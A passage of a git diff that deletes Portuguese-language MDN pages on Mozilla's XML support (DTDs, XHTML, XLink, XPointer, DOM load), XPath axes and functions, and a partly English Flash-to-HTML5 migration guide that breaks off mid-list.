-<p>O núcleo do suporte XML inclui analizar o XML sem a validação (nós utilizamos o Expat parser), indicando o XML com CSS, manipulando documentos XML com scripts via DOM, associando estilos com documentos XML, e <i>namespaces</i> em XML. O núcleo de suporte é muito bom para poucos bugs.
-</p>
-<h4 id="DTDs_e_outras_Entidades_Externas" name="DTDs_e_outras_Entidades_Externas"> DTDs e outras Entidades Externas </h4>
-<p>O Mozilla não carrega entidades externas da web. </p><p>Ele pode carregar as entidades externas cujo o identificador do sistema usa o protocolo <code>chrome</code>. Esta característica é principalmente usada para <a href="pt/XUL_Tutorial/Localization">localizar diferentes idiomas</a> (as <i>strings</i> da interface de usuário são armazenadas em arquivos DTD externos). Uma outra exceção é uma entidade cujo o identificador do sistema seja um <i>path</i> relativo, e a declaração do XML indica que o documento não é autônomo(padrão), em cada caso, o Mozilla tentará procurar a entidade sob o diretório &lt;tt&gt;&lt;bin&gt;/res/dtd&lt;/tt&gt;. </p><p>O Mozilla pode também gerar uma exceção com documentos XHTML, veja abaixo.
-</p><p>Ele tentará ler um subconjunto DTD interno, ou externo como explicado acima, e tentará usar essa informação para reconhecer o ID do tipo do atributo, valores dos atributos padrão e entidades gerais.
-</p>
-<h4 id="Outras_Notas" name="Outras_Notas"> Outras Notas </h4>
-<p>Muito do Document Object Model (<a class="external" href="http://www.w3.org/DOM/">DOM</a>, W3C) aplica-se para XML. Do mesmo modo, a folhas de estilos (CSS) (<a class="external" href="http://www.w3.org/Style/CSS/">CSS</a>, W3C) podem ser usado para documentos XML.
-</p><p>O código para a maioria do núcleo XML pode ser encontrado nos seguintes diretórios no servidor Mozilla CVS: content/xml/, parser/expat/ e parser/htmlparser.
-</p><p>O grupo de notícias para discução de XML no Mozilla depende um pouco, da natureza da pergunta.
-Por exemplo, questões relacionadas a DOM pode ser discutida provavelmente em mozilla.dev.tech.dom newsgroup, enquanto os estilo devem ser discutidos em mozilla.dev.tech.css e assim por diante. Para ter todas os grupos de notícias em XML é mozilla.dev.tech.xml.
-</p>
-<table class="standard-table"> <tbody><tr>
-<td class="header">Especificações ou tecnologia
-</td><td class="header">Status e/ou informãções adicionais
-</td></tr>
-<tr>
-<td>XML
-</td><td><a class="external" href="http://www.w3.org/TR/REC-xml">W3C Recommendation</a>
-</td></tr>
-<tr>
-<td>Namespaces em XML
-</td><td><a class="external" href="http://www.w3.org/TR/REC-xml-names/">W3C Recommendation</a>
-</td></tr>
-<tr>
-<td>Associando Estilos Com Documentos XML
-</td><td><a class="external" href="http://www.w3.org/TR/xml-stylesheet/">W3C Recommendation</a>
-</td></tr>
-<tr>
-<td>Estilizando documentos XML com CSS
-</td><td>
-</td></tr>
-<tr>
-<td> Manipulação de Documentos XML com scripts atrávez de DOM
-</td><td>
-</td></tr>
-</tbody></table>
-<h3 id="Otras_Recomenda.C3.A7.C3.B5es_Suportadadas_pela_W3C_para_XML" name="Otras_Recomenda.C3.A7.C3.B5es_Suportadadas_pela_W3C_para_XML"> Otras Recomendações Suportadadas pela W3C para XML </h3>
-<table class="standard-table"> <tbody><tr>
-<td class="header">Especificações ou Tecnologia
-</td><td class="header">Documentação
-</td></tr>
-<tr>
-<td>XHTML
-</td><td><a class="external" href="http://www.w3.org/TR/xhtml1/">W3C </a>
-</td></tr>
-<tr>
-<td>XML Base (somente links, não use para <code>:visited</code> etc. propriedades <a href="pt/CSS">CSS</a>)
-</td><td><a class="external" href="http://www.w3.org/TR/xmlbase/">W3C </a>
-</td></tr>
-<tr>
-<td>XLink (somentes simples XLinks)
-</td><td><a class="external" href="http://www.w3.org/TR/xlink/">W3C</a>
-</td></tr>
-<tr>
-<td>FIXptr
-</td><td><a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">W3C "proposal"</a>
-</td></tr>
-<tr>
-<td>XPointer Framework
-</td><td><a class="external" href="http://www.w3.org/TR/xptr-framework/">W3C</a>
-</td></tr>
-<tr>
-<td>XPointer <code>element()</code>
-</td><td><a class="external" href="http://www.w3.org/TR/xptr-element/">W3C</a>
-</td></tr>
-<tr>
-<td>XPointer <code>xmlns()</code>
-</td><td><a class="external" href="http://www.w3.org/TR/xptr-xmlns/">W3C </a>
-</td></tr>
-<tr>
-<td>XPointer <code>fixptr()</code>
-</td><td>Somente um envoltório FIXptr
-</td></tr>
-<tr>
-<td>XPointer <code>xpath1()</code>
-</td><td><a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">Internet-Draft</a>
-</td></tr>
-<tr>
-<td><code>document.load()</code>, <code>document.async</code>
-</td><td><a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">Part do DOM Level 3 Load &amp; Save módulo, um esboço W3C</a>
-</td></tr>
-</tbody></table>
-<h4 id="XHTML" name="XHTML"> XHTML </h4>
-<p>Nós temos um suporte <a href="pt/XHTML">XHTML</a> razoável, muitas coisas devem ser trabalhadas. Tratamos os arquivos XHTML diferentemente, dependendo do <i>mime type</i> (ou o sufixo do arquivo, caso ele tenha sido carregado localmente). Arquivos que são do caminho do código <a href="pt/HTML">HTML</a> não são checados para ver se estão bem formatados. Você verá também que nem todas as características do XHTML são suportadas quando você exercita o caminho do código HTML.
-</p>
-<table class="standard-table"> <tbody><tr>
-<td class="header">MIME Type
-</td><td class="header">Extensão do Arquivo
-</td><td class="header">Caminho do Código
-</td></tr>
-<tr>
-<td>text/xml<br>application/xml<br>application/xhtml+xml
-</td><td>xml<br>xht<br>xhtml
-</td><td>XML
-</td></tr>
-<tr>
-<td>text/html
-</td><td>html<br>htm
-</td><td>HTML
-</td></tr>
-</tbody></table>
-<p>O documento inteiro não precisa ser um XHTML. Você pode usar elementos XHTML dentro de um documento XML arbitrário por usar <i>namespace</i> XHTML. Veja a sessão <a href="#Testing_and_QA">Testing and QA</a> por exemplo. O <i>namespace</i> XHTML correto é <code><span class="nowiki">http://www.w3.org/1999/xhtml</span></code>
-</p><p>Note que as entidades XHTML, como <code>&amp;auml;</code>, Trabalham somente em conformidade com documentos XHTML que tenham um Formal Public Identifier (ou em outras palavras, uma sessão DOCTYPE com um identificador PUBLIC). Entidades XHTML não trabalham com documentos XML arbitrátios, mesmo se o <i>namespace</i> XHTML está sendo usado. Os identificadores públicos que são reconhecidos são:
-</p>
-<pre>-//W3C//DTD XHTML 1.0 Transitional//EN
--//W3C//DTD XHTML 1.1//EN
--//W3C//DTD XHTML 1.0 Strict//EN
--//W3C//DTD XHTML 1.0 Frameset//EN
--//W3C//DTD XHTML Basic 1.0//EN
--//W3C//DTD XHTML 1.1 plus MathML 2.0//EN
--//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN
--//W3C//DTD SVG 20001102//EN
--//WAPFORUM//DTD XHTML Mobile 1.0//EN
-</pre>
-<h4 id="XML_Linking_e_Pointing" name="XML_Linking_e_Pointing"> XML <i>Linking</i> e <i>Pointing</i> </h4>
-<p>O suporte a XML <i>Linking</i> inclui <a class="external" href="http://www.w3.org/TR/xmlbase">XML Base</a> (usado somente quando você move o cursor sobre um link ou clica em um link) e simples <a class="external" href="http://www.w3.org/TR/xlink/">XLinks</a>. Você pode colocar qualquer elemento XML em um XLink usando o XLink <i>namespace</i> <code><span class="nowiki">http://www.w3.org/1999/xlink</span></code>. Você pode também usar os elementos de <i>linking</i> do XHTML <i>namespace</i>. Veja a sessão <a href="#Testing_and_QA">Testing and QA</a> para amostras.
-</p><p>Para <i>pointing</i> em recursos nos documentos XML, Mozilla também suporta <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">FIXptr</a>, uma versão simplificada e não-compatível do XPointer. Em adição ao uso do FIXptr em links, é possível usá-lo a partir de <i>scripts</i>. Veja a interface proprietária <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/core/nsIDOMXMLDocument.idl" rel="custom">dom/public/idl/core/nsIDOMXMLDocument.idl</a></code>. Há um caso de exemplo para <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=46954&amp;action=view">FIXptr links</a> e um <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=61629&amp;action=view">exemplo de <i>scripting</i></a>.
-</p><p>Desde 1.4 alpha, Mozilla também suporta <a class="external" href="http://www.w3.org/TR/xptr-framework/">XPointer Framework</a>, <a class="external" href="http://www.w3.org/TR/xptr-element/">esquema XPointer <code>element()</code></a>, <a class="external" href="http://www.w3.org/TR/xptr-xmlns/">esquema XPointer <code>xmlns()</code></a>, esquema XPointer <code>fixptr()</code> e <a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">esquema XPointer <code>xpath1()</code></a>. O processador XPointer é extensível e é fácil de implementar suporte para outros esquemas - dê uma olhada em <a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/document/public/nsIXPointer.idl" rel="custom">API</a>. O esquema <code>xpath1()</code> foi <a href="https://dxr.mozilla.org/mozilla-central/source/content/xslt/src/xpath/nsXPath1Scheme.cpp" rel="custom">implementado usando este mecanismo extensível</a>. Há também uma <a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/core/nsIDOMXMLDocument.idl" rel="custom">API proprietária de &lt;i&gt;scripts&lt;/i&gt;</a> para o processador XPointer. Há um <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=119333&amp;action=view">caso de exemplo para XPointers</a> que você também pode estudar.
-</p><p>Por último, há uma preferência que você talvez queira testar (especialmente útil com FIXptr) que selecionará a área de alvo do link quando você atravessá-la. Não ná interface de usuário para configurar esta preferência ainda, então você precisará editar o arquivo de preferências manualmente. Adicione esta linha:
-</p>
-<pre>pref("layout.selectanchor", true);
-</pre>
-<h4 id="M.C3.A9todos_de_carregamento_e_salvamento_do_DOM" name="M.C3.A9todos_de_carregamento_e_salvamento_do_DOM"> Métodos de carregamento e salvamento do DOM </h4>
-<p><code>document.load()</code> é uma parte de uma antiga versão do <a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load &amp; Save module</a> do W3C. O Mozilla atualmente implementa somente o método <code>load()</code> e a propriedade <code>async</code>. Desde 1.4 alpha é possível carregar documentos sincronicamente, antes só era possível de maneira assíncrona. <a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/tests/load/" rel="custom">Veja a amostra de carregamento</a> no diretório de textes XML. (Carregando o arquivo load.html da página LXR gerada não trabalhará, pois o LXR converterá o arquivo test.xml em HTML e servirá como HTML. Para testar esta funcionalidade, crie os arquivos no seu disco local ou em um servidor web.)
-</p>
-<h3 id="Recomenda.C3.A7.C3.B5es_XML_externas_ao_suporte_W3C" name="Recomenda.C3.A7.C3.B5es_XML_externas_ao_suporte_W3C"> Recomendações XML externas ao suporte W3C </h3>
-<table class="standard-table"> <tbody><tr>
-<td class="header">Especificação ou Tecnologia
-</td><td class="header">Documentação
-</td><td class="header">Projeto Mozilla
-</td></tr>
-<tr>
-<td><a href="pt/XSLT">XSLT</a>
-</td><td><a class="external" href="http://www.w3.org/TR/xslt">Recomendação W3C</a>
-</td><td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a>
-</td></tr>
-<tr>
-<td><a href="pt/XPath">XPath</a>
-</td><td><a class="external" href="http://www.w3.org/TR/xpath">Recomendação W3C</a>
-</td><td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a>
-</td></tr>
-<tr>
-<td><a href="pt/XMLHttpRequest">XMLHttpRequest</a>
-</td><td><a class="external" href="http://www.w3.org/TR/XMLHttpRequest/">Esboços W3C</a>
-</td><td><a class="external" href="http://www.mozilla.org/xmlextras/">Extras XML</a>
-</td></tr>
-<tr>
-<td><a href="pt/DOMParser">DOMParser</a> e <a href="pt/XMLSerializer">XMLSerializer</a>
-</td><td><a class="external" href="http://www.mozilla.org/xmlextras/">Mozilla</a>
-</td><td><a class="external" href="http://www.mozilla.org/xmlextras/">Extras XML</a>
-</td></tr>
-<tr>
-<td><a href="pt/SAX">SAX</a>
-</td><td><a class=" external" href="http://www.saxproject.org/">http://www.saxproject.org/</a>
-</td><td>
-</td></tr>
-<tr>
-<td><a href="pt/SOAP_em_navegadores_baseados_no_Gecko">SOAP</a>
-</td><td><a class="external" href="http://www.w3.org/TR/SOAP/">Nota W3C</a>
-</td><td><a class="external" href="http://www.mozilla.org/projects/webservices/">Serviços Web</a>
-</td></tr>
-<tr>
-<td><a href="pt/XML-RPC">XML-RPC</a>
-</td><td><a class="external" href="http://www.xmlrpc.com/spec">UserLand Software</a>
-</td><td><a class="external" href="http://www.mozilla.org/projects/xmlrpc/">XML-RPC</a>
-</td></tr>
-<tr>
-<td><a href="pt/RDF">RDF</a>
-</td><td><a class="external" href="http://www.w3.org/RDF/">Recomendações W3C</a>
-</td><td><a href="pt/RDF">RDF</a>
-</td></tr>
-<tr>
-<td><a href="pt/SVG">SVG</a>
-</td><td><a class="external" href="http://www.w3.org/Graphics/SVG/">Recomendações Propostas W3C</a>
-</td><td><a class="external" href="http://www.mozilla.org/projects/svg/">SVG</a>
-</td></tr>
-<tr>
-<td><a href="pt/MathML">MathML</a>
-</td><td><a class="external" href="http://www.w3.org/TR/MathML/">Recomendações W3C</a>
-</td><td><a class="external" href="http://www.mozilla.org/projects/mathml/">MathML</a>
-</td></tr>
-<tr>
-<td><a href="pt/P3P">P3P</a>
-</td><td><a class="external" href="http://www.w3.org/TR/P3P/">Recomendações W3C</a>
-</td><td><a class="external" href="http://www.mozilla.org/projects/p3p/">P3P</a>
-</td></tr>
-<tr>
-<td><a href="pt/Acessando_Servi%c3%a7os_Web_no_Mozilla_usando_WSDL_Proxying">WSDL</a>
-</td><td><a class="external" href="http://www.w3.org/TR/wsdl">Nota W3C</a>
-</td><td><a class="external" href="http://www.mozilla.org/projects/webservices/">Serviços Web</a>
-</td></tr>
-<tr>
-<td><a href="pt/XBL">XBL</a>
-</td><td><a href="pt/XBL/XBL_1.0_Reference">Referência XBL do Mozilla</a>
-</td><td>
-</td></tr>
-<tr>
-<td><a href="pt/XUL">XUL</a>
-</td><td><a href="pt/XUL_Reference">Referência XUL do Mozilla</a>
-</td><td>
-</td></tr>
-</tbody></table>
-<h3 id="Roadmap" name="Roadmap"> <i>Roadmap</i> </h3>
-<p>As próximas grandes tarefas incluem o suporte para o esquema XPointer <code>xpointer()</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=32832" title="Implement XPointer">bug 32832</a>), XInclude (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=201754" title="XML Inclusions (XInclude)">bug 201754</a>), XML Catalogs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=98413" title="Implement XML Catalogs">bug 98413</a>), XForms (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=97806" title="Implement W3C XForms in browser and composer">bug 97806</a>; o trabalho está sendo feito na implementação desde como extensão), análise de validação (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=196355" title="Implement validating XML parser (validate with DTDs)">bug 196355</a>),Esquemas XML, e incremento da disposição do documento XML (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=18333" title="FIXED: XML Content Sink should be incremental">bug 18333</a>).
-</p><p>Para a completa implementação do XLink, nós precisamos de um gerenciador de links. Veja alguns <a class="external" href="http://www.mozilla.org/newlayout/xml/lmdesign.html">documentos de design</a> iniciais.
-</p>
-<h3 id="Testes_e_Garantia_de_Qualidade" name="Testes_e_Garantia_de_Qualidade"> Testes e Garantia de Qualidade </h3>
-<p>Nós temos muitos casos de teste <i>linkados</i> à página de garantia de qualidade dae <a class="external" href="http://www.mozilla.org/quality/browser_sc.html">conformidade de padrões de navegador</a>.
-</p><p>A maioria dos principais documentos de teste XML no servidor CVS estão localizados em <code><a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/tests" rel="custom">content/xml/tests</a></code>. Nós temos também um par online: os livros demonstrações e a tabela de conteúdos de demonstração de IRS. Ambos demonstram XML, Associação de folhas de estilo ao XML, exibição de XML com CSS, <i>Namespaces</i> em XML, XLinks simples e manipulação do XML com <i>scripts</i> via DOM.
-</p><p>Há um componente XML em Bugzilla.
-</p><p>Nós também temos a palavra-chave "xhtml" para erros XHTML (estes tendem a ser dispersados através de componentes).
-</p>
-<h3 id="Como_eu_posso_ajudar.3F" name="Como_eu_posso_ajudar.3F"> Como eu posso ajudar? </h3>
-<p>Se você pode programar, procure a <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Browser&amp;component=XML&amp;short_desc=&amp;short_desc_type=substring&amp;long_desc=&amp;long_desc_type=substring&amp;bug_file_loc=&amp;bug_file_loc_type=substring&amp;status_whiteboard=&amp;status_whiteboard_type=substring&amp;keywords=helpwanted&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;namedcmd=joki_not_fixed_not_future&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time">palavra-chave helpwanted em erros XML</a>. Nós não usamos isto sempre, então se você deseja evitar fazer trabalho duplicado você pode começar trabalhando em erros que tem <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Browser&amp;component=XML&amp;target_milestone=Future&amp;short_desc=&amp;short_desc_type=substring&amp;long_desc=&amp;long_desc_type=substring&amp;bug_file_loc=&amp;bug_file_loc_type=substring&amp;status_whiteboard=&amp;status_whiteboard_type=substring&amp;keywords=&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;namedcmd=joki_not_fixed_not_future&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time">futuros <i>milestones</i></a>, ou outro <i>milestone</i> que esteja definido bem para o futuro.
-</p><p>Você pode sempre testar nosso suporte XML. Nós realmente gostaríamos de pegar testes que podem rodar automaticamente (isto pode requerer conhecimento em desenvolvimento web; <code>document.load()</code> e/ou Extras XML poderão ser necessários), mas provavelmente a maioria dos erros que tenhamos acabado de encontrar são por pessoas normais tentando fazer alguma coisa que funcione em alguns navegadores e não funciona no Mozilla.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>
diff --git a/files/pt-pt/orphaned/xpath/eixos/index.html b/files/pt-pt/orphaned/xpath/eixos/index.html
deleted file mode 100644
index fe07f46948..0000000000
--- a/files/pt-pt/orphaned/xpath/eixos/index.html
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Eixos
-slug: orphaned/XPath/Eixos
-tags:
- - Referência_XPath
- - Todas_as_Categorias
- - XPath
-original_slug: XPath/Eixos
----
-<p>
-{{ XsltRef() }}
-Existem trez diferentes eixos na especificação <a href="pt/XPath">XPath</a>. Um eixo representa o relacionamento ao contexto do nó e é usado para localizar nós relativos àquele nó na árvore. O que segue é uma estremamente breve descrição dos trezes eixos disponíveis e o grau de suporte disponível em <a href="pt/Gecko">Gecko</a>.
-</p><p>Para leitura adicional sobre utilização de expressões XPath, por favor veja a seção <a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional">Para leitura adicional</a> no fim do documento <a href="pt/Transformar_XML_com_XSLT">Transformar XML com XSLT</a>.
-</p><p><br>
-</p>
-<dl><dt> <a href="pt/XPath/Eixos/ancestor">ancestor</a>
-</dt><dd> Indica todos os antecessores do nó de contexto, começando com o nó-pai e transpassando ao nó-raiz.
-</dd><dt> <a href="pt/XPath/Eixos/ancestor-or-self">ancestor-or-self</a>
-</dt><dd> Indica o nó de contexto e todos os seus antecessores, incluindo o nó-raiz.
-</dd><dt> <a href="pt/XPath/Eixos/attribute">attribute</a>
-</dt><dd> Indica atributos do nó de contexto. Somente elementos têm atributos. Este eixo pode ser abreviado com o sinal (<code>@</code>).
-</dd><dt> <a href="pt/XPath/Eixos/child">child</a>
-</dt><dd> Indica o filho do nó de contexto. Se uma expressão XPath não especifica um eixo, é etendido por padrão. Somente o nó-raiz ou nós de elemento tem filhos, qualquer outro não selecionará nada.
-</dd><dt> <a href="pt/XPath/Eixos/descendant">descendant</a>
-</dt><dd> Indica todos os filhos do nó de contexto e todos os seus filhos, e assim por diante. Os nós de atributo e namespace <b>não</b> estão incluídos — o <code>parent</code> de um nó de <code>attribute</code> é um nó de elemento, mas nós <code>attribute</code> não são filhos de seus pais.
-</dd><dt> <a href="pt/XPath/Eixos/descendant-or-self">descendant-or-self</a>
-</dt><dd> Indica o nó de contexto e todos os seus descendentes. Os nós de atributo e namepace <b>não</b> são incluídos dos seus pais.
-</dd><dt> <a href="pt/XPath/Eixos/following">following</a>
-</dt><dd> Indica todos os nós que aparecem depois do nó de contexto, exceto qualquer nó <code>descendant</code>, <code>attribute</code>, e <code>namespace</code>.
-</dd><dt> <a href="pt/XPath/Eixos/following-sibling">following-sibling</a>
-</dt><dd> Indica todos os nós que tenham como mesmo pai o nó de contexto e apareçam depois do nó de contexto no código do documento.
-</dd><dt> <a href="pt/XPath/Eixos/namespace">namespace</a> <i>(não suportado)</i>
-</dt><dd> Indica todos os nós que estão ao alcançe do nó de contexto. Neste caso, o nó de contexto deve ser um nó-elemento.
-</dd><dt> <a href="pt/XPath/Eixos/parent">parent</a>
-</dt><dd> Indica os nós singulares que são pais do nó de contexto. Isto pode ser abreviado em dois períodos (<code>..</code>).
-</dd><dt> <a href="pt/XPath/Eixos/preceding">preceding</a>
-</dt><dd> Indica todos os nós que precedem o nó de contexto no documento, exeto nós <code>ancestor</code>, <code>attribute</code> e <code>namespace</code>.
-</dd><dt> <a href="pt/XPath/Eixos/preceding-sibling">preceding-sibling</a>
-</dt><dd> Indica todos os nós que tem como pai o nó de contexto e aparecem antes do nó de contexto no código do documento.
-</dd><dt> <a href="pt/XPath/Eixos/self">self</a>
-</dt><dd> Indica o próprio nó de contexto. Isto pode ser abreviado em um período simples (<code>.</code>).
-</dd></dl>
-<p><span>Categorias</span>
-</p><p><span>Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/XPath/Axes", "es": "es/XPath/Ejes", "fr": "fr/XPath/Axes", "pl": "pl/XPath/Osie" } ) }}
diff --git a/files/pt-pt/orphaned/xpath/funções/index.html b/files/pt-pt/orphaned/xpath/funções/index.html
deleted file mode 100644
index f892bf8f72..0000000000
--- a/files/pt-pt/orphaned/xpath/funções/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Funções
-slug: orphaned/XPath/Funções
-tags:
- - Referência_XPath
- - Todas_as_Categorias
- - XPath
-original_slug: XPath/Funções
----
-<p>
-{{ XsltRef() }}
-A seguinte lista é uma lista de anotações das funções do <a href="pt/XPath">XPath</a> e <a href="pt/XSLT">XSLT</a> — adições específicas para o XPath, incluindo uma descrição, sintaxe, uma lista de argumentos, tipo de resultados, código na recomendação apropriada W3C, e suporte presente <a href="pt/Gecko">Gecko</a>. Para informações adicionais sobre utilização das funções do XPath/XSLT, por favor veja a página:.
-</p>
-<ul><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/boolean">boolean()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/ceiling">ceiling()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/concat">concat()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/contains">contains()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/count">count()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/current">current()</a> <i>específica ao XSLT</i>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/document">document()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/element-available">element-available()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/false">false()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/floor">floor()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/format-number">format-number()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/function-available">function-available()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/generate-id">generate-id()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/id">id()</a> <i>(parcialmente suportada)</i>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/key">key()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/lang">lang()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/last">last()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/local-name">local-name()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/name">name()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/namespace-uri">namespace-uri()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/normalize-space">normalize-space()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/not">not()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/number">number()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/position">position()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/round">round()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/starts-with">starts-with()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/string">string()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/string-length">string-length()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/substring">substring()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/substring-after">substring-after()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/substring-before">substring-before()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/sum">sum()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/system-property">system-property()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/translate">translate()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/true">true()</a>
-</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/unparsed-entity-url">unparsed-entity-url()</a> <i>específica ao XSLT</i> <i>(não suportada)</i>
-</li></ul>
-<p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "en": "en/XPath/Functions", "fr": "fr/XPath/Fonctions", "pl": "pl/XPath/Funkcje" } ) }}
diff --git a/files/pt-pt/plugins/flash_to_html5/index.html b/files/pt-pt/plugins/flash_to_html5/index.html
deleted file mode 100644
index 8a525f39ae..0000000000
--- a/files/pt-pt/plugins/flash_to_html5/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Guia de migração de Flash para HTML5
-slug: Plugins/Flash_to_HTML5
-tags:
- - Complementos
- - Flash
- - HTML5
- - Jogos
- - Plug-ins
- - Publicidade
- - Sockets
- - Video
- - anuncios
- - Área de transferência
-translation_of: Plugins/Flash_to_HTML5
-original_slug: Plugins/Flash_para_HTML5
----
-<p class="summary">Este conjunto de artigos fornece informação sobre como migrar o conteúdo e a funcionalidade do Flash existente para HTML e JavaScript.</p>
-
-<h2 id="Background">Background</h2>
-
-<p>Flash became very popular in the late 1990s to early 2000s because it provided an effective way to create rich content on the web — such as animations, games, and video players. However, it has a number of issues; the Flash Player causes security and performance problems, and leads to bloated pages. In addition, the modern web platform has feature parity with Flash, so you no longer need to rely on plugins to implement rich content.</p>
-
-<p>Browsers are working together to move carefully towards a plugin-free web (see our <a href="/en-US/docs/Plugins/Roadmap">Plugin Roadmap</a>), so developers should start migrating their Flash-based functionality to open web technologies as soon as possible.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 id="Vídeo">Vídeo</h2>
-
-<p>All you need to know to move your video requirements over from Flash to HTML5 (see the <a href="/en-US/docs/Plugins/Flash_to_HTML5/Video">Flash video to HTML5 video</a> landing page also).</p>
-
-<h3 dir="ltr" id="Planeamento">Planeamento</h3>
-
-<dl>
- <dt><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Planning">Planning your transition from Flash video to HTML5 video</a></dt>
- <dd>Transitioning from Flash to HTML5 can take several months and may require new skills and software. This guide shows you how to plan for that transition, and contains two main parts, <a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Planning#Auditing_What_You_Have">Content audit</a> and <a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Planning#Decision_Points">Decision points</a>.</dd>
-</dl>
-
-<h3 id="Processo">Processo</h3>
-
-<dl>
- <dt><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Converting_File_Formats">File format conversion</a></dt>
- <dd>Once you've planned out what you want to do, the first step is to convert your video files into formats compatible with HTML embedding.</dd>
